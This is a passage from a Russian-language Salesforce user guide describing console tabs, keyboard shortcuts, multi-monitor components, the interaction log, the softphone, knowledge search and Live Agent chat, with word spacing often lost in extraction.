элементдляосновнойвкладки (например, контакторганизации). Salesforceнеограничиваетколичествовкладок, доступных
для отображения.

При просмотре вкладок значок отображается на тех вкладках, которые содержат несохраненные изменения, кроме
отчетов, страниц Visualforce или страниц настройки организации. Значок отображается на тех вкладках, которые
содержатошибки, требующиеисправления. Придобавлениивнешнихдоменов в списокразрешенныхдоменовконсоли
вкладкимогутотображать страницывне системы Salesforce. Новыевкладкинеотображаютсяпринажатиинастраиваемой
кнопки, либо при изменении типа записи, ответственного или территории; наоборот, текущая вкладка открывает
выбранный элемент.

Панель вкладок позволяет выполнять над вкладками самые разные действия путем нажатия значка и выбора нужного
действия (например, закрытиевкладок, обновлениевкладок, отображениеклавишбыстрогодоступаит. д.). Чтобыизменить
порядок отображения вкладки, перетащите вкладку вдоль панели вкладок. Вкладки сохраняют статус основных или
вложенных, препятствуя перемещению основных вкладок на панель вложенных вкладок или наоборот. Изменение
порядка отображения вкладок не поддерживается обозревателем Internet Explorer® 7.

Еслиорганизацияподдерживаеткомпонентымультимонитора, развернитеосновныевкладкиизобозревателяиперетащите

их в любую нужную область экрана. Просто нажмите кнопку и выберите «Развернуть основные вкладки». Чтобы

свернуть основные вкладки, нажмите кнопку и выберите «Свернуть вкладки».

Чтобы скопировать URL-адрес вкладки консоли и отправить его другому пользователю, нажмите кнопку и выберите

напротив имени нужной вкладки. Если URL-адрес отправляется пользователю, который не использует консоль,
рекомендуем создать стандартный URL-адрес Salesforce посредством диалогового окна «Ссылка для общего доступа».
Чтобыскопировать URL-адрес, воспользуйтесь комбинациейклавиш CTRL + C. Чтобыдобавитьновуювкладкуна консоль

для вставкископированного URL-адреса, нажмите кнопку . Чтобывставить URL-адрес в текстовоеполе, воспользуйтесь
комбинациейклавиш CTRL + V. Затемнажмите кнопку «Начать». URL-адрес консолиилистандартный URL-адрес Salesforce
может быть вставлен на новую вкладку.

Чтобы зафиксировать часто посещаемую основную вкладку на панели вкладок для быстрого доступа, нажмите кнопку

и выберите значок . Фиксация вкладкиинициирует ее перемещение в началопанели вкладоки удаление ее текста.

Чтобы отменить фиксацию вкладки, нажмите кнопку и выберите значок .

Чтобы добавить закладку на избранную или часто посещаемую вкладку для быстрого доступа, нажмите кнопку и

выберите значок . Добавление закладки на вкладку инициирует ее перемещение в компонент «Журнал» нижнего

колонтитула (ранее «Последниевкладки»). Чтобыудалитьвкладку, добавленнуювзакладки, нажмитекнопку ивыберите

значок илищелкните «Удалить» напротив нужной вкладки в компоненте «Журнал». См. раздел «Просмотр закладок
или недавно использованных вкладок на консоли Salesforce» на странице 4301.

Внимание: При нажатии кнопки «Отмена» новый несохраненный элемент и соответствующая вкладка удаляются
без возможности восстановления.

Прим.: Если администратор добавляет настраиваемые компоненты консоли, то боковые панелинапротив вкладок
могут содержать дополнительные функции.
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Совет: Чтобыповторнооткрытьпоследнююзакрытуювкладку, воспользуйтеськомбинацией SHIFT + C илинажмите

кнопку и выберите параметр «Повторно открыть последнюю закрытую вкладку». При необходимости
повторно откройте не более 10 закрытых вкладок.

СМ. ТАКЖЕ:

Вкладка «Навигация» консоли Salesforce

Вкладки консоли Salesforce

Использование консоли Salesforce

Просмотр закладок или недавно использованных вкладок на консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Администратор может настроить функцию быстрого доступа к любым основным
вкладкам, добавленным в закладки или недавно использованным на консоли, без
выполнения поиска по системе Salesforce.

Прим.: Ввыпуске Summer'15 компонент «Последниевкладки» замененкомпонентом
«Журнал» и дополнен закладками, которые позволяют ускорить процесс поиска
иизвлечениянужныхвкладок. Данныефункциинеподдерживаютсяобозревателями
Internet Explorer® 7 и 8.

Чтобы просмотреть любые добавленные в закладки или недавно использованные
основныевкладки, щелкните«Журнал»внижнемколонтитулеконсоли. Затемщелкните
столбец «Закладки» или «Недавние вкладки» и выберите нужную вкладку. При
необходимостиизвлеките URL-адрескаждойвкладкидляотправкидругомупользователю
или удалите закладки и очистите список недавно использованных вкладок. При
необходимости просмотрите не более 10 вложенных вкладок (при условии их
доступности) напротив каждой недавней вкладки. Нижний колонтитул «Журнал» не
отображает элементы, которые не отображаются в виде вкладок (например, области
наложения запросов на проведение встречи).

СМ. ТАКЖЕ:

Рекомендации по работе с вкладками консоли Salesforce

Использование консоли Salesforce
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Изменение размера и сворачивание фиксированных списков на консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Если администратор включил фиксированные списки и выбрал случаи их вывода на
экран, можно изменять их размеры или сворачивать списки.

Чтобы изменить размер фиксированного списка, щелкните по правому или нижнему
полю списка и протяните его до нужного размера. Чтобы свернуть фиксированный
список, щелкнитестрелкувправомилинижнемполе. Чтобыразвернутьсписок, щелкните
стрелку повторно. Если запись в списке все еще не выбрана, то список автоматически
отображается во весь экран.

СМ. ТАКЖЕ:

Использование консоли Salesforce
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Работа с клавишами быстрого доступа на консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Клавиши быстрого доступа позволяют быстро выполнять действия путем нажатия
клавиш вместо использования мыши.

Клавиши быстрого доступа повышают эффективность работы на консоли. Например,
чтобысохранять введенныесведенияобобращениибезиспользованиямышиикнопки
«Сохранить», администраторможет активировать клавишубыстрогодоступа (CTRL + S),
благодаря которойдействиеможетбыть выполненопосредствомклавиатуры. Создавать
и настраивать клавиши быстрого доступа может только администратор.

Чтобыпросмотретьобластьналожения, содержащуюсписокклавишейбыстрогодоступа

для консоли, нажмите кнопку и выберите пункт «Показать клавиши быстрого
доступа». Есликлавишабыстрогодоступазатененанаобластиналожения, онаотключена
или настроена.

Клавиши быстрого доступа нечувствительны к регистру даже при предварительном
нажатии клавиши SHIFT. Например, SHIFT+b идентичен комбинации SHIFT+B. Порядок
нажатия клавиш CTRL, ALT и SHIFT (при их наличии в комбинации) не имеет значения.
Например, комбинация CTRL + ALT + A аналогична комбинации ALT + CTRL + A.

СМ. ТАКЖЕ:

Стандартные клавиши быстрого доступа для консоли Salesforce

Использование консоли Salesforce
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Стандартные клавиши быстрого доступа для консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Эти клавишибыстрого доступа автоматически доступны для консоли, а администратор
может их отключать или настраивать.

Команда клавишиОписаниеДействие
(клавиша
быстрого
доступа)

ESCАктивация клавиш быстрого доступа в
обозревателе, отображающем консоль.

Открыть режим
клавиш быстрого
доступа

VВыбор вкладки навигации.Перейтиковкладке
навигации

SHIFT + SВыбор сведений на вкладке.Перейтикполюна
вкладке

РВыбор строки основных вкладок.Перейти к
основным
вкладкам

SВыбор строки вложенных вкладок на
основной вкладке.

Перейти к
вложенным
вкладкам

NВыбор спискового представления.Перейти к
списковому
представлению

SHIFT + FВыбор первого элемента спискового
представления.

Перейтикпервому
элементу
спискового
представления

RПеремещение курсора в поле поиска в
верхнем колонтитуле.

Перейти к полю
поиска в верхнем
колонтитуле

F/СТРЕЛКА
ВПРАВО или

Перемещение курсора в компоненты
нижнего колонтитула.

Неподдерживаетсяобозревателем Microsoft®

Internet Explorer® 7 или 8, а также языками,

Перейти к
нижнему
колонтитулу СТРЕЛКА

ВЛЕВО/1 — 9

читаемыми справа налево. При выборе
компонента «Макрос» или «Присутствие»
нажмите клавишу ESC для перемещения
курсора в другие компоненты.

СТРЕЛКА ВЛЕВОПеремещение курсора влево.Переместитьвлево

2574

Использование консоли SalesforceПоддержка клиентов



Команда клавишиОписаниеДействие (клавиша
быстрого доступа)

СТРЕЛКА ВПРАВОПеремещение курсора вправо.Переместить вправо

СТРЕЛКА ВВЕРХПеремещение курсора вверх.Переместить вверх

СТРЕЛКА ВНИЗПеремещение курсора вниз.Переместить вниз

CTRL + щелчок для ПК;
CMD + щелчок для Mac

Открытие выбранного элемента на новой вкладке без
перемещения курсора.

Открыть элемент на
неактивной вкладке

DОткрытие раскрывающейся кнопки на вкладках для выбора
дополнительных действий.

Открытьраскрывающуюся
кнопку на вкладках

TОткрытие новой вкладки.Открыть вкладку

CЗакрытие выбранной вкладки.Закрыть вкладку

SHIFT + CПовторноеоткрытиепоследнейзакрытойосновнойвкладки.Повторно открыть
последнюю закрытую
вкладку

SHIFT + RОбновление выбранной вкладки.Обновить вкладку

ENTERАктивация команды.Ввод

UОткрытие диалогового окна «Ссылка для общего доступа»
на выбранной вкладке.

Получить ссылку для
общего доступа

SHIFT + KОткрытиеобластиналожения, содержащейсписокклавишей
быстрого доступа.

Показать клавиши
быстрого доступа

EПереходсостраницысведенийна страницуредактирования.Правка

CTRL + SСохранение изменений, внесенных на выбранной вкладке.Сохранить

SHIFT + NИзменение внешнего вида фиксированного списка.Скрыть или показать
фиксированный список

SHIFT + СТРЕЛКА ВЛЕВОИзменение внешнего вида левой боковой панели или ее
любого компонента.

Скрытьилипоказатьлевую
боковую панель

SHIFT + СТРЕЛКАВПРАВОИзменение внешнего вида правой боковой панели или ее
любого компонента.

Скрыть или показать
правую боковую панель

SHIFT + СТРЕЛКА ВВЕРХИзменение внешнего вида верхней боковой панели или ее
любого компонента.

Скрыть или показать
верхнюю боковую панель

SHIFT + СТРЕЛКА ВНИЗИзменение внешнего вида нижней боковой панели или ее
любого компонента.

Скрыть или показать
нижнюю боковую панель
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Команда клавишиОписаниеДействие (клавиша
быстрого доступа)

ZУвеличение или уменьшение основных вкладок путем
изменения внешнего вида верхнего колонтитула, нижнего
колонтитула и фиксированного списка.

Увеличитьилиуменьшить
основные вкладки

СМ. ТАКЖЕ:

Работа с клавишами быстрого доступа на консоли Salesforce

Использование консоли Salesforce

Рекомендации по работе с компонентами мультимонитора консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Перемещение компонентов консоли в разные области экрана компьютера для
оптимизации способа просмотра отображаемой информации.

Как только администратор включит компоненты мультимонитора, вы сможете
разворачивать и перетаскивать основные вкладки и программные телефоны Open CTI в
другие области экрана. Также можно перемещать компонент «Журнал», чаты Live Agent
(кромекомпонентанижнегоколонтитула) илюбыенастраиваемыекомпонентыконсоли
либокомпоненты Force.com Canvas, входящиевнижнийколонтитулконсоли. Возможно,
использование компонентов мультимонитора потребует обновления параметров
обозревателя. (1) включить всплывающие окна; (2) открывать ссылки в новых окнах, а
не в новых вкладках.

Дляразворачиванияиперетаскиванияосновныхвкладокнажмитекнопку ивыберите
«Развернутьосновныевкладки». Чтобы свернуть основные вкладки, нажмите кнопку

и выберите «Свернуть вкладки».

Для разворачивания и перетаскивания компонентов нижнего колонтитула консоли

щелкнитенужныеэлементыинажмитекнопку . Чтобысвернуть элементы, нажмите

кнопку . Чтобыобновитьразвернутыйкомпонентнижнегоколонтитула, щелкните
его правой кнопкой мыши и выберите пункт «Перезагрузить» или «Обновить».
Обновление развернутого компонента нижнего колонтитула инициирует его
сворачивание в нижний колонтитул консоли.

Еслиорганизациянастраиваетфиксированныесписки, торабочаяобластьотображается
как пустая область напротив списков и содержит следующий текст: «Перетащите
компоненты нижнего колонтитула сюда». Рекомендуемиспользовать даннуюобласть
для отслеживания окон Salesforce среди других открытых приложений.

Важное замечание: Развернутые элементы закрываются и теряют свои позиции на экране в следующих ситуациях:
(1) при выходе из Salesforce; (2) при нажатии кнопки «Настройка»; (3) при переходе по ссылке выхода из консоли;
(4) при обновлении или закрытии обозревателя.

Прим.: Программные телефоны, разработанные с помощью инструментария CTI Toolkit 3.0 или 4.0, не могут быть
развернуты.
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Совет: Все развернутые элементы консоли помечаются синими заголовками, которые позволяют упростить их
поиск среди других открытых окон.

Чтобы использовать клавиши быстрого доступа из развернутых компонентов, выберите нужное окно. Например,
стандартная клавишабыстрогодоступа «P», используемаядляперехода косновнымвкладкам, неработаетпривыборе
окна со вкладкой «Навигация».

СМ. ТАКЖЕ:

Использование консоли Salesforce

Добавление примечаний в записи на консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра журнала
взаимодействия:
• «Чтение» для задач

Для сохраненияпримечаний
в журнале взаимодействия:
• «Редактирование» для

задач

Журналвзаимодействияпозволяетбыстродобавлятьпримечанияв записинаосновных
вкладках консоли.

Нижнийколонтитулконсолиможетиспользоватьсядля доступа кжурналу только в том
случае, если пользователю назначен макет журнала взаимодействия. Журналы
отображаются для элементов со связаннымсписком «Журнал действий» (например, для
организацийиконтактов, нонедлярешений). Журналынедоступныдляотчетов, панелей
мониторинга, Salesforce CRM Content, вкладки «Управление статьями» или страниц
Visualforce.

Чтобыпоказатьилискрытьжурналвзаимодействия, наведитеуказательмышина границу
журналаинажмитекнопку или . Чтобыизменитьразмерыжурналавзаимодействия
и страницы сведений, перетащите линию между ними. Чтобы ускорить процесс
сохраненияпримечанийдля клиентов, система заполняетполежурнала «Имя» именем
контактаприотображенииконтактанавложеннойвкладке. Принеобходимостиизмените
значение поля «Имя» перед сохранениемжурнала. При выборе параметра «Очистить
журнал» для удаления примечаний или поля «Тема» сохраненные примечания не
удаляются, а хранятся в связанном списке записи «Журнал действий». Сохранение всех
журналов в качестве задач в связанном списке записей «Журнал действий» позволяет
упростить их просмотр и извлечение.

Прим.: Администраторы могут настраивать поля, отображающиеся в журналах.

Совет: Чтобы добавить дату и время вызова в журнал при использовании
программного телефона, нажмите кнопку «Добавить данные вызова». Чтобы
завершить вызов и сохранить любые обновления, внесенные в журнал, нажмите
кнопку «Завершить вызов» при отображении всплывающих окон входящих
вызовов.

СМ. ТАКЖЕ:

Использование консоли Salesforce
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Просмотр всплывающих уведомлений на консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Всплывающиеуведомления — это визуальныеиндикаторы, указывающиенаизменение
просматриваемой записи или поля другими пользователями.

Как только администратор сконфигурирует всплывающие уведомления, в списках и на
страницахсведенийотобразятся визуальныеиндикаторыизмененийзаписейилиполей.
При изменениях страницы сведений автоматически принимают и отображают
обновления либо выводятся уведомления в виде диалоговых окон. Ниже перечислены
способы отображения уведомлений в списках.

Всплывающие уведомления для списков

(1) Желтый цвет: изменение записи. (2) Синий цвет: последний просмотренный элемент. (3) Жирныйшрифт и курсив:
изменение поля, указанного администратором.

Прим.: Объекты и их поля, доступные для всплывающих уведомлений: учетные записи, контакты, обращения,
интересы, возможности, кампании, задачи и настраиваемые объекты.

СМ. ТАКЖЕ:

Использование консоли Salesforce
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Использование программного телефона на консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра и
использования
программного телефона:
• Участник центра

обработки вызовов

Программный телефон в консоли позволяет просматривать записи, связанные с
телефонными вызовами, а также получать, размещать и передавать вызовы.

Пользователь центра обработки вызовов может использовать программный телефон
только при наличии адаптера CTI, созданного посредством инструментария CTI Toolkit
3.0 или 4.0, или центра обработки вызовов, созданного посредством Open CTI.

Чтобыдобавитьпрограммныйтелефонвнижнийколонтитулконсоли, нажмите кнопку
. Добавлять примечания в журналы вызовов можно с помощью журнала

взаимодействия. Журнал вызовов — это запись, добавляемая автоматически при
использованиипрограммного телефона. Данная запись содержитномер телефона, имя
вызывающего абонента, дату, время и продолжительность вызова. Чтобы просмотреть
журналы вызовов, воспользуйтесь связанным списком «Журнал действий», доступным
в любой связанной записи.

Важное замечание: Ниже перечислены условия возможной потери данных. (1)
Обновление обозревателя во время вызова; (2) одновременное использование
программного телефона в нескольких обозревателях; (3) переключение на
программный телефон в обозревателе без консоли.

Прим.: При использовании адаптера CTI, разработанного с помощью
инструментария CTI Toolkit 4.0, кнопка отображается внижнемколонтитуледаже
в случае отсутствия подключения к адаптеру.

Совет: Можно скрыть программный телефон, нажав , однако удалить его из
нижнего колонтитула консоли невозможно. Также можно изменить высоту окна
программного телефона, перетягивая верхнюю рамку. При нажатии кнопки
«Завершить вызов» все сделанные обновления журнала взаимодействия
сохраняются до окончания вызова.

СМ. ТАКЖЕ:

Использование программного телефона

Общие сведения о Call Center

Использование консоли Salesforce
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Поиск статей базы знаний в консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра статей
Salesforce Knowledge:
• «Чтение» для типа

статьи

Для добавления статей
Salesforce Knowledge в
обращения:
• «Редактирование» для

обращений

Если база знаний Salesforce и ее боковая панель настроены администратором, статьи
будут отображаться автоматически при выборе обращения в консоли.

Чтобырешатьобращениябыстрее, привводесведенийв тему обращенияпредложенные
статьи отображаются на боковой панели. Данный список содержит только те статьи,
которыебылиобновленывтечениепоследних 30 дней. Чтобыпросмотретьболееранние
статьи, введитекритерийпоискилиотфильтруйтерезультатыпоиска. Чтобыпросмотреть
статьи по категории, языку или статусу проверки, щелкните значок и выберите
параметрыфильтрации. Этифильтры доступны только в том случае, если организация
поддерживаетстатусыпроверкиимногоязычныестатьи. Доступныеязыкиопределяются
администратором. Боковая панель содержит только следующие столбцы: «Новинка»,
«Заголовок статьи» и «Самое популярное». Чтобы изменить размер столбцов,
перетащите линиюмежду ними. Запрещается добавлять, удалять илиизменять порядок
отображения столбцов.

Чтобынайти статьи для принятия решенияпо обращению, нажмите значок , введите
ключевыесловавполе «Поиск» инажмитекнопку«Начать». Чтобыприкрепитьстатью
к обращению, установите флажок напротив нужной статьи и щелкните «Вложить в
обращение». Статья может быть вложена только в сохраненное обращение. Напротив
статьи, которая уже вложена в обращение, отображается значок .

Чтобыизменитьколичествоотображаемыхстатей, щелкнитеиндикаторвлевомнижнем
углу боковой панели и выберите нужное количество. Одновременно можно
просматривать 10, 25, 50, 100 или 200 статей. После изменения данного параметра
отображается первая страница списка.

Чтобы показать или скрыть боковую панель, наведите указатель мыши на полосу

прокрутки и щелкните значок или . Перетащите линию в область между боковой
панелью «Статьи» и страницей сведений для изменения их ширины.

СМ. ТАКЖЕ:

Использование консоли Salesforce
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Live Agent для агентов службы поддержки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями вприложении
Live Agent на консоли
Salesforce:
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение консоли
Salesforce

Вас приветствует приложение Live Agent для агентов службы поддержки! Live Agent —
это универсальное решение, позволяющее быстро обрабатывать проблемы клиентов
посредством чата.

Агент службыподдержки ежедневно обрабатывает различные проблемы клиентов. Live
Agent — это решение, полностью интегрированное в систему Salesforce и
предоставляющеецентрализованныйдоступковсемсведениямоклиентах. Крометого,
система Salesforce использует возможности Service Cloud для предоставления доступа к
важным инструментам (например, база знаний и предопределенные сообщения),
позволяющим повышать эффективность обслуживания клиентов и сокращать время
закрытия обращений.

Независимо от продолжительности использования приложения Live Agent, доступные
инструменты позволяют упростить одновременное обслуживание разных клиентов
посредством чата. Итак, начнем.

СМ. ТАКЖЕ:

Live Agent для администраторов службы поддержки

Live Agent для администраторов

Полномочия для агентов службы поддержки Live Agent
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Помощь клиентам посредством чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями вприложении
Live Agent на консоли
Salesforce:
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение консоли
Salesforce

Использование Live Agent помогает вашим клиентам быстро решать задачи.

Благодаря Live Agent в консоли Salesforce пользователь получает доступ к некоторым
другим продуктам Service Cloud, что позволяет оказывать клиентам исчерпывающую
помощь.

Изменение статуса Live Agent

Функция изменения статуса Live Agent позволяет контролировать доступность
пользователя для принятия новых и перенаправленных чатов.

Общение с клиентами
Чтобыначать общение с клиентами, рекомендуем принять входящий запрос на чат.

Доступ к сведениям о клиентах во время чата
Вкладка «Сведения» автоматически открывается при принятии входящего запроса
на чат. Данная вкладка содержит сведения о посетителе и позволяет просматривать
записи, связанные с чатом (например, контакты и обращения).

Отправка сообщений «Быстрый текст» в чатах
Готовые сообщения позволяют ускорить процесс отправки типовых сообщений
клиентам чата.

Перенос файлов во время чата
Пользователи могут предоставлять клиентам возможность загрузки и переноса
файловвовремячата, позволяющихупроститьпередачудополнительныхсведений
о возникших проблемах.

Блокировка нежелательных клиентов чата
Пользователи могут блокировать чаты от назойливых клиентов прямо на консоли
Salesforce. Например, пользователь может заблокировать клиента, использующего
оскорбительные выражения или отправляющего нежелательные сообщения.

Завершение сеанса чата
По завершенииобщения с клиентомиобновления связанных записейрекомендуем
завершить сеанс чата.

Изменение статуса Live Agent

Функция изменения статуса Live Agent позволяет контролировать доступность пользователя для принятия новых и
перенаправленных чатов.

Общение с клиентами
Чтобы начать общение с клиентами, рекомендуем принять входящий запрос на чат.

Доступ к сведениям о клиентах во время чата
Вкладка «Сведения» автоматически открывается при принятии входящего запроса на чат. Данная вкладка содержит
сведения о посетителе и позволяет просматривать записи, связанные с чатом (например, контакты и обращения).

Отправка сообщений «Быстрый текст» в чатах
Готовые сообщения позволяют ускорить процесс отправки типовых сообщений клиентам чата.

Перенос файлов во время чата
Пользователи могут предоставлять клиентам возможность загрузки и переносафайлов во время чата, позволяющих
упростить передачу дополнительных сведений о возникших проблемах.
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Блокировка нежелательных клиентов чата
Пользователимогутблокироватьчатыотназойливыхклиентовпрямона консоли Salesforce. Например, пользователь
может заблокировать клиента, использующего оскорбительные выражения или отправляющего нежелательные
сообщения.

Завершение сеанса чата
По завершении общения с клиентом и обновления связанных записей рекомендуем завершить сеанс чата.

Изменение статуса Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями в Live Agent
на консоли Salesforce:
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение консоли
Salesforce

Функция изменения статуса Live Agent позволяет контролировать доступность
пользователя для принятия новых и перенаправленных чатов.

Приложение Live Agent поддерживает статусы «В сети», «Отошел» и «Не в сети». При
закрытии приложения Live Agent статусу пользователя автоматически присваивается
значение «Не в сети» и завершаются любые активные сеансы чата.

1. Чтобыоткрыть окномониторинга чата, щелкните виджетнижнего колонтитула Live
Agent.

2. Чтобыпросмотреть параметры статуса, щелкните стрелку раскрывающегося списка
в верхнем правом углу окна мониторинга чата.

3. Выберите нужный статус.

Статусы Live Agent

Статусы Live Agent определяют порядок взаимодействия с клиентами при разных
условиях доступности.

Статусы Live Agent

Статусы Live Agent определяют порядок взаимодействия с клиентами при разных
условиях доступности.
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Статусы Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

СтатусыLive Agentопределяютпорядоквзаимодействиясклиентамиприразныхусловиях
доступности.

ОписаниеСтатус

Пользователимогут получать и принимать входящиечатыипереносы.В сети

Пользователи могут продолжать любые выполняемые сеансы чата, но
не могут принимать входящие чаты или переносы.

Отошел

Пользователи не могут принимать входящие чаты или переносы и
недоступны для перенаправления чатов.

Не в сети
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Общение с клиентами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями вприложении
Live Agent на консоли
Salesforce:
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение консоли
Salesforce

Чтобы начать общение с клиентами, рекомендуем принять входящий запрос на чат.

Приполучениинового запроса на чат или перенос окно мониторинга чата отображает
отложенный запрос. Для каждого запроса отображается исходное развертывание (или
веб-сайт), имя клиента (если доступно) и время ожидания ответа (в минутах).

Одновременно пользователи могут общаться с несколькими клиентами. Каждый сеанс
чата открывается на отдельной основной вкладке.

1. Щелкните «Принять» для нужного запроса в окне мониторинга чата.
Журнал чата открывается на новой основной вкладке.

2. Введите нужное сообщение в соответствующее поле.

3. Чтобы отправить сообщение клиенту, нажмите кнопку «Отправить» или клавишу
ENTER.

4. По завершении нажмите кнопку «Завершить чат».

Если чат завершается клиентом, то журнал чата отображает соответствующее
уведомление.

СМ. ТАКЖЕ:

Отправка сообщений «Быстрый текст» в чатах

Добавление статей в чаты Live Agent

Перенос чатов

Перенос файлов во время чата

Добавление записей в транскрипты чата

Завершение сеанса чата
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Доступ к сведениям о клиентах во время чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для поиска и просмотра
записи:
• «Чтение» для объекта

И

«Создание» для
транскриптов Live Chat

Для создания записи:
• «Создание» для объекта

И

«Создание» для
транскриптов Live Chat

Для редактирования записи:
• «Редактирование» для

объекта

И

«Создание» для
транскриптов Live Chat

Для удаления записи:
• «Удаление» для объекта

И

«Создание» для
транскриптов Live Chat

Вкладка «Сведения» автоматически открывается при принятии входящего запроса на
чат. Данная вкладка содержитсведенияопосетителеипозволяетпросматривать записи,
связанные с чатом (например, контакты и обращения).

• Чтобы найти нужную запись, введите ее имя в соответствующее поле раздела

«Связанные объекты» ищелкните значок . Чтобы связать найденную запись с
чатом, выберите ее в списке результатов поиска и нажмите кнопку «Сохранить».

Пользователи более давних организаций могли просматривать записи и сведения
опосетителяхнапанели «Связанныеобъекты» во времячатов. Темнеменее, начиная
с выпуска Summer'14 панель «Связанные объекты» вкладки «Сведения» недоступна
новым клиентам Live Agent. Панель «Связанные объекты» будет доступна только
текущим клиентам.

• Чтобы открыть связанную запись в новой вкладке, щелкните ее имя.

